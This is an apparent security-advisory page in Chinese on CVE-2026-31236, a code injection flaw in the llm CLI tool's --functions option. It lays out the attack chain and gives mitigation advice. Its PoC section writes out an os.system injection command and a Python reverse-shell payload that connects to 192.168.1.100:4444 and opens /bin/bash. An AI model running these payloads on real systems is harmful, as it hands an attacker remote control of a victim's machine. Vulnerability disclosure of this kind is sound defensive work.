IPBUF安全漏洞报告
English
CVE-2026-31236 CVSS 9.8 严重

CVE-2026-31236 llm CLI工具代码注入漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-31236
漏洞类型
代码注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
llm CLI tool

相关标签

代码注入RCEllmPythonCVE-2026-31236

漏洞概述

llm CLI工具直到0.27.1版本存在严重的代码注入漏洞。该漏洞源于`--functions`命令行参数的处理机制,工具直接使用不安全的`exec()`函数执行提供的代码,且没有任何清理、沙箱或安全限制。攻击者可以通过社会工程学诱骗受害者运行包含恶意Python代码的llm命令,从而导致受害者系统上的任意代码执行,攻击者可能获得系统的完全控制权。

技术细节

该漏洞的技术核心在于llm CLI工具对用户输入的`--functions`参数缺乏有效的安全隔离。当工具解析该参数时,直接将其内容传递给Python的`exec()`内置函数。`exec()`函数能够动态执行字符串形式的Python代码,且在默认情况下具有访问当前上下文所有变量和模块的能力。由于没有对输入代码进行AST(抽象语法树)分析或字符过滤,也没有在受限的沙箱环境中运行,攻击者可以构造包含标准库调用的恶意代码(如`os.system`、`subprocess.run`等)。一旦受害者执行了经过精心构造的命令,恶意代码将继承运行llm工具的用户权限,从而在本地系统中执行任意操作,这完全破坏了系统的机密性、完整性和可用性。

攻击链分析

STEP 1
1. 侦察与准备
攻击者确认目标使用了存在漏洞的llm CLI工具(版本<=0.27.1)。
STEP 2
2. 武器化
攻击者编写恶意的Python代码片段,利用exec()的特性,设计用于窃取数据或建立后门。
STEP 3
3. 投递
通过社会工程学手段(如钓鱼邮件、伪造文档或教程),诱导受害者复制并运行包含恶意--functions参数的llm命令。
STEP 4
4. 利用与执行
受害者执行命令,llm工具调用exec()解析参数,恶意Python代码在受害者本地环境无防护执行。
STEP 5
5. 安装与控制
恶意代码运行,攻击者获得系统访问权限,可能安装后门、窃取数据或进行横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-31236 # The vulnerability allows arbitrary Python code execution via the --functions argument. # Scenario: An attacker tricks a victim into running the following command. # Command to execute a simple shell command (e.g., creating a file) llm --functions "import os; os.system('touch /tmp/CVE-2026-31236_POC.txt')" # Scenario: Establishing a reverse shell (simulated) # Payload to connect back to attacker # payload = """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.1.100',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);""" # llm --functions "<PAYLOAD>"

影响范围

llm CLI tool <= 0.27.1

防御指南

临时缓解措施
在官方修复补丁发布前,建议用户严格审查所有llm命令参数,特别是涉及--functions的输入。可以在隔离的虚拟机或容器环境中运行该工具,以限制潜在的代码执行对宿主机的影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表